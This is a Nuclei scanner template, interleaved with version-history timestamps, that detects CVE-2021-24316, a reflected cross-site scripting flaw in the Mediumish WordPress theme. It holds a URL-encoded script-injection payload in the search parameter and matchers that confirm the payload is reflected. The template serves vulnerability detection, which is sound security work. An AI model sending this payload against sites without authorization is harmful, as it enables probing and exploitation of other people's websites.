nuclei-templates/cves/2021/CVE-2021-24316.yaml

41 lines
1.2 KiB
YAML
Raw Normal View History

2021-06-04 09:28:45 +00:00
id: CVE-2021-24316
info:
name: An Unauthenticated Reflected XSS & XFS Mediumish theme through 1.0.47 for WordPress
author: 0x_Akoko
2021-06-04 09:28:45 +00:00
severity: medium
description: Mediumish WordPress Theme <= 1.0.47 - Unauthenticated Reflected XSS & XFS.
reference:
- https://wpscan.com/vulnerability/57e27de4-58f5-46aa-9b59-809705733b2e
- https://m0ze.ru/vulnerability/%5B2021-03-14%5D-%5BWordPress%5D-%5BCWE-79%5D-Mediumish-WordPress-Theme-v1.0.47.txt
- https://www.wowthemes.net/themes/mediumish-wordpress/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24316
cwe-id: CWE-79
tags: cve,cve2021,mediumish,xss,wordpress
2021-06-04 09:28:45 +00:00
requests:
- method: GET
path:
2021-06-04 11:00:31 +00:00
- '{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E '
2021-06-04 09:28:45 +00:00
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
2021-06-04 11:00:31 +00:00
- "<script>alert(/{{randstr}}/)</script>"
- "Sorry, no posts matched your criteria."
2021-06-04 09:28:45 +00:00
part: body
2021-06-04 11:00:31 +00:00
condition: and
2021-06-04 09:28:45 +00:00
- type: word
words:
- "text/html"
part: header